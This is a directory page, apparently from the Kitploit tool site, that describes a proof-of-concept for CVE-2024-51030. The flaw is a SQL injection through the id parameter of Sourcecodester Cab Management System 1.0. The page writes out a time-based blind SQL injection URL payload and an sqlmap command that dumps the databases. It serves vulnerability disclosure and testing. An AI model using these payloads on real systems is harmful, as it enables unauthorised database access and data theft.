Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-51030 — Proof-of-concept exploit for SQL injection in Sourcecodester Cab Management System 1.0, demonstrating arbitrary SQL execution via the id parameter in manage_client.php and view_cab.php. | Kitploit
Tools/GitHubGitHub/vighneshnair7/cve-2024-51030
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingDatabase Security
GitHubvighneshnair7/cve-2024-51030

CVE-2024-51030

Proof-of-concept exploit for SQL injection in Sourcecodester Cab Management System 1.0, demonstrating arbitrary SQL execution via the id parameter in manage_client.php and view_cab.php.

View Repository
121 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-51030

Description

A SQL injection vulnerability in manage_client.php and view_cab.php of Sourcecodester Cab Management System 1.0 allows remote attackers to execute arbitrary SQL commands via the id parameter, leading to unauthorized access and potential compromise of sensitive data within the database.

Vulnerability Type

SQL Injection

Vendor of Product

Sourcecodester

Affected Product Code Base:

https://www.sourcecodester.com/php/15180/cab-management-system-phpoop-free-source-code.html - 1.0

Affected Component:

The Sourcecodester Cab Management System v1.0 is vulnerable to SQL injection through the id parameter in the manage_client.php & view_cab.php page.

Attack Vectors:

  1. Set up the application locally and login using the default provided admin credentials or you may also login using low privileged admin user like (staff).
  • Now, navigate to the following URL in your browser: http://localhost/cms/admin/?page=clients/manage_client&id=1
  • Inject SQL Payload: Modify the id parameter in the URL to include a boolean-based blind or time-based blind SQL injection payload:- http://localhost/cms/admin/?page=clients/manage_client&id=1%27%20AND%20(SELECT%202085%20FROM%20(SELECT(SLEEP(5)))LxyK)--%20mvKJ
  • Observe the Application Response: The page should take noticeably longer (5 seconds) to load if the injection is successful, confirming that the id parameter is vulnerable to SQL injection.
  • Now use SQLMap tool for further exploitation and dumping databases using the below command: sqlmap -u "http://localhost/cms/admin/?page=clients/manage_client&id=1" -p id --dbms mysql --cookie="PHPSESSID=your_cookie" --risk 3 --level 4 --dbs --dump

    • Reference:

    1. https://owasp.org/www-community/attacks/SQL_Injection
    2. https://portswigger.net/web-security/sql-injection
    Download Tool